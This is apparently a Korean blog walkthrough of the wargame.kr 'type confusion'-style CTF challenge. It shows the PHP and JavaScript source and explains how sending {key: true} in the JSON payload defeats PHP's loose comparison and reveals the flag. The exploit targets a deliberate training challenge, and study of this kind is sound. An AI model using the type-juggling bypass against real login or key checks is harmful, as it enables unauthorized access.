문제
풀이
처음 인덱스 페이지는 위와 같다. 바로 view-source를 확인해본다.
view-source
<?php
if (isset($_GET['view-source'])) {
show_source(__FILE__);
exit();
}
if (isset($_POST['json'])) {
usleep(500000);
require("./lib.php"); // include for FLAG.
$json = json_decode($_POST['json']);
$key = gen_key();
if ($json->key == $key) {
$ret = ["code" => true, "flag" => $FLAG];
} else {
$ret = ["code" => false];
}
die(json_encode($ret));
}
function gen_key(){
$key = uniqid("welcome to wargame.kr!_", true);
$key = sha1($key);
return $key;
}
?>
<html>
<head>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script src="./util.js"></script>
</head>
<body>
<form onsubmit="return submit_check(this);">
<input type="text" name="key" />
<input type="submit" value="check" />
</form>
<a href="./?view-source">view-source</a>
</body>
</html>
소스코드를 확인해보면 json 파라미터를 받아 json객체에서 key 값을 받아 $key 와 비교하여 동일할 경우, $ret을 정의한다.
$ret은 연관 배열이며, 키 값인 "code"의 value 값을 true로 키 값 "flag"의 value 값을 (찾는 flag 값) 으로 변수 $ret 을 설정한다.
die(json_encode($ret) 호출하여, $ret 연관배열을 json으로 변환하여 클라이언트에 반환하고, PHP 스크립트의 실행을 종료한다.
사용자의 입력 값이 json 값으로 처리가 되는 로직이 존재할 것이다 라고 유추해볼 수 있다.
그 해당 로직을 이해하기 위해 form의 submit_check( ) 함수를 확인해야한다.
<script src="./util.js"></script> 파일이 확인되니, util.js 파일에서 로직을 확인해 본다.
util.js
var lock = false;
function submit_check(f){
if (lock) {
alert("waiting..");
return false;
}
lock = true;
var key = f.key.value;
if (key == "") {
alert("please fill the input box.");
lock = false;
return false;
}
submit(key);
return false;
}
function submit(key){
$.ajax({
type : "POST",
async : false,
url : "./index.php",
data : {json:JSON.stringify({key: key})},
dataType : 'json'
}).done(function(result){
if (result['code'] == true) {
document.write("Congratulations! flag is " + result['flag']);
} else {
alert("nope...");
}
lock = false;
});
}
- submit_check는 잠시 대기가 필요하다는 문장을 보여주거나, 빈 key 값이 입력되었는 지 등의 보조 역할을 담당한다.
주요 로직은 submit( ) 함수에서 진행된다. - submit은 ajax을 사용한다.
ajax의 구성은 다음과 같다.
1. POST 방식을 사용한다.
2. 전달 방향은 ./index.php 이다.
3. dataType은 Json이며, 실제 데이터는 {key: key}이다.
첫번째 key 는 data 객체에서 전송할 데이터의 키 이름으로 지정한 것이다.
두번째 key 는 자바스크립트 변수이며, submit(key)의 매개변수로 전달된 값이다. - $.ajax() 함수 요청이 서버로 전송된다. ( view-source의 <?php ?> 코드로 전달)
- 서버에서의 응답을 클라이언트에서 .done() 으로 처리한다.
- json 형식의 {"code" : true} 일 경우, 페이지에 표시해주는 document.write 사용해 flag 값을 표시한다.
소스코드 분석이 완료되어 이제 공격을 해야할 장소를 찾아야한다.
key 값이 기존 로직상에는 view-source 에서 true 또는 false로 지정되어 클라이언트에 반환되지만, 이를 변경시키기 위해 ajax의 key 값을 넘기는 부분을 수정해야한다.
필자는 아래와 같이 설정했다.
function submit(key){
$.ajax({
type : "POST",
async : false,
url : "./index.php",
data : {json:JSON.stringify({key: true})},
dataType : 'json'
}).done(function(result){
if (result['code'] == true) {
document.write("Congratulations! flag is " + result['flag']);
} else {
alert("nope...");
}
lock = false;
});
}
변경점은 data 에서 {key : true} 로 변경한 것이다.
php 에서는 느슨한 비교가 존재한다.
느슨한 비교에서는 True(자료형 bool) == "문자열" 일때 True를 반환한다.
고로, if($json->key = $key) 로직이 True 로 넘어가게된다.
($key는 sha1로 변환한 임의의 문자열 / $json -> key 는 {key : true} 로 변경하여 True)
이후로는, 정상적인 값을 받은 것으로 로직을 수행하며, flag 값을 출력한다.
느슨한 비교는 아래와 같다.
'Dreamhack > Dreamhack(1단계)' 카테고리의 다른 글
[wargame.kr] tmitter (웹 해킹) (0) | 2024.10.16 |
---|---|
[wargame.kr] login filtering (웹 해킹) (0) | 2024.10.16 |
[wargame.kr] strcmp (웹 해킹) (0) | 2024.10.16 |
[wargame.kr] fly me to the moon (웹 해킹) (0) | 2024.10.15 |
csrf-2 (웹 해킹) (0) | 2024.10.15 |